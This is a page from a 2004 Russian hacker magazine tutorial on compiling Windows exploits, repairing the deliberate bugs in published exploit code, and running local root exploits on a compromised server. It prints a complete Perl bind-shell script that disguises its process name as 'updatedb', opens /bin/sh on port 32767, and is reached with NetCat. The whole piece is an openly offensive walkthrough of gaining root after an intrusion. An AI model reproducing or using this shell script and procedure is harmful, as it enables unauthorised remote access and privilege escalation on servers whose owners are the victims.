Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #66, ИЮНЬ 2004 г.

Эксплойтный ликбез

Олег Толстых aka NSD

Xakep, номер #066, стр. 066-070-3


Компиляция виндовых эксплойтов

Стандартных средств для компиляции программ в винде нет, поэтому тебе придется устанавливать специальный софт. Существует много различных виндовых компиляторов С, например С++ Builder от Borland’a, или CPP compiler от интела. Но пользоваться советую только двумя софтинами: Visual C++ от MS и компилятором lcc-win32 (www.nsd.ru/soft.php?group=hacksoft&razdel=other). Последний хоть и маленький (весит всего 4 метра), да удаленький. Смотри, как просто с его помощью собрать эксплойт. Допустим, ты успешно установил (на стадии установки никаких проблем возникнуть не должно) и запустил программу. Теперь перетащи в открывшееся окошко исходник сплойта (пусть это будет myms.c). Жми Compiler -> Make. Компилятор заявит, что для компилируемого сплойта не создан проект, и предлежит его сотворить. Сразу после того как ты дашь ему на это разрешение нажатием кнопки YES, эксплойт откомпилируется, в результате чего ты сможешь юзать только что появившийся exe'шник. В Visual Studio эксплойты компилятся аналогичным образом.

Exploit bugs

Большинство эксплойтов, находящихся в Сети, умышленно повреждаются самими программистами. Обычно они вносят незначительные изменения в исходный код для того, чтобы на стадии компиляции возникали ошибки. Зачем им заниматься таким членовредительством? :) Дело в том, что авторы пытаются предотвратить попадание своего xploit’a в руки скрипткиддисов, громящих в Сети все и вся. Поэтому прежде чем компилировать сплойт, тебе придется исправить в нем ошибки. А вот как раз для этого просто необходимо знать язык Си. И если ты его не знаешь - как можно быстрее начинай изучать! Чаще всего в эксплойт встраивают синтаксические ошибки – либо в какой-нибудь инструкции букву нарочно удалят, либо скобку не в ту сторону закроют (или откроют). Часто бывает так, что символ “*”, который является указателем на тип данных, ставят не с той стороны переменной, чтобы возникла ошибка. Словом, ошибки делают разные. Но для человека, мало-мальски знакомого с C++, это не проблема – он сразу видит и правит баги.

Запуск эксплойтов

Допустим, хакер нашел, залил на сервер и откомпилировал эксплойт, рутающий сервак. Теперь пришло время его запускать. Для того чтобы получить рута в системе с помощью local-exploit’a, веб-шеллом ему не обойтись. Хакеру необходим полноценный доступ. Нужно забиндить шелл на каком-нибудь порту, приконнектиться туда и только потом запускать сплойт. В этом ему поможет простой скрипт на Perl.

Перловый скрипт, биндящий шелл на 32767 порту

#!/usr/bin/perl

$port = 32767;

exit if fork;

$0 = "updatedb" . " " x100;

$SIG{CHLD} = 'IGNORE';

use Socket;

socket(S, PF_INET, SOCK_STREAM, 0);

setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);

bind(S, sockaddr_in($port, INADDR_ANY));

listen(S, 50);

while(1){

accept(X, S);

unless(fork)

{ open STDIN, "<&X";

open STDOUT, ">&X";

open STDERR, ">&X";

close X;

exec("/bin/sh");

} close X;}

Хакер заливает его в каталог /tmp и запускает командой “perl имя_скрипта.pl”, в результате чего на сервере открывается порт 32767. Как он может теперь соединиться с сервером? Лучше всего использовать для этого утилиту NetCat (www.nsd.ru/soft/1/nc11nt.zip). Синтаксис тулзы следующий: nc.exe <адрес_сервера> <порт>. После того как взломщик сконнектится с серваком и перейдет в папку со сплойтом, можно запускать вредоносное приложение. Если сплойт сработает успешно, хакер увидит картинку, подобную той, что ты видишь на скриншоте.

Назад на стр. 066-070-2  Содержание  Вперед на стр. 066-070-4